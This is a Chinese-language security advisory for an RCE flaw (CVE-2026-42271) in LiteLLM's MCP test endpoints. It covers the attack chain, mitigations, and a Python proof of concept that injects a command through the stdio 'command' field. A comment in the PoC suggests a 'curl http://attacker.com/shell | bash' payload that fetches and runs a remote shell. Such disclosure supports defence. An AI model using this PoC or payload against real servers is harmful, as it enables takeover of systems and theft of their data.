CVE-2026-42271 LiteLLM 远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-42271

漏洞类型

远程代码执行

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

LiteLLM

漏洞概述

LiteLLM在1.74.2至1.83.7版本中存在远程代码执行漏洞。由于预览MCP服务器的端点未对用户角色进行校验，攻击者仅需持有有效的API密钥即可通过构造恶意请求，在服务器端执行任意命令，获取服务器控制权。

技术细节

该漏洞源于LiteLLM在处理MCP服务器配置预览请求时，未对用户提交的配置参数进行严格的安全校验。具体而言，受影响的端点允许客户端通过请求体传递stdio传输所需的command、args和env字段。当应用尝试连接或测试该配置时，会直接调用系统接口（如subprocess）执行用户指定的命令。由于系统仅验证请求是否包含有效的API密钥，而未验证用户角色，即使是低权限用户也能利用此机制，通过构造恶意的HTTP请求，在服务器端执行任意系统指令。

攻击链分析

STEP 1

1. 获取访问凭证

攻击者获取一个有效的LiteLLM代理API密钥（即使是低权限的内部用户密钥也可）。

STEP 2

2. 构造恶意请求

攻击者向/mcp-rest/test/connection或/mcp-rest/test/tools/list端点发送POST请求，在请求体的JSON配置中注入恶意的command字段。

STEP 3

3. 执行任意命令

LiteLLM服务器在处理该请求时，解析配置并调用系统接口执行攻击者指定的命令，导致代码在服务器端运行。

STEP 4

4. 获取系统权限

攻击者利用执行命令的权限，进一步控制服务器，窃取数据或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (LiteLLM instance)
target_url = "http://localhost:4000/mcp-rest/test/connection"

# Headers with a valid API key (Low privilege key is sufficient)
headers = {
    "Authorization": "Bearer sk-valid-api-key-here",
    "Content-Type": "application/json"
}

# Malicious payload configuration
# The 'command' field is injected to execute arbitrary commands on the host
payload = {
    "transport_mode": "stdio",
    "command": "id", # Replace with malicious payload e.g., "curl http://attacker.com/shell | bash"
    "args": [],
    "env": {}
}

try:
    # Send the POST request to trigger the RCE
    response = requests.post(target_url, json=payload, headers=headers, timeout=10)

    # Check if the request was processed
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if command executed.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
    
    print(f"[+] Response Body: {response.text}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

LiteLLM 1.74.2 至 1.83.7 之前版本

防御指南

临时缓解措施

如果无法立即升级，建议通过防火墙或网络ACL限制对受影响端点（/mcp-rest/test/connection 和 /mcp-rest/test/tools/list）的访问，仅允许受信任的内部IP访问。同时，应审查现有的API密钥持有者权限，撤销不必要的低权限密钥。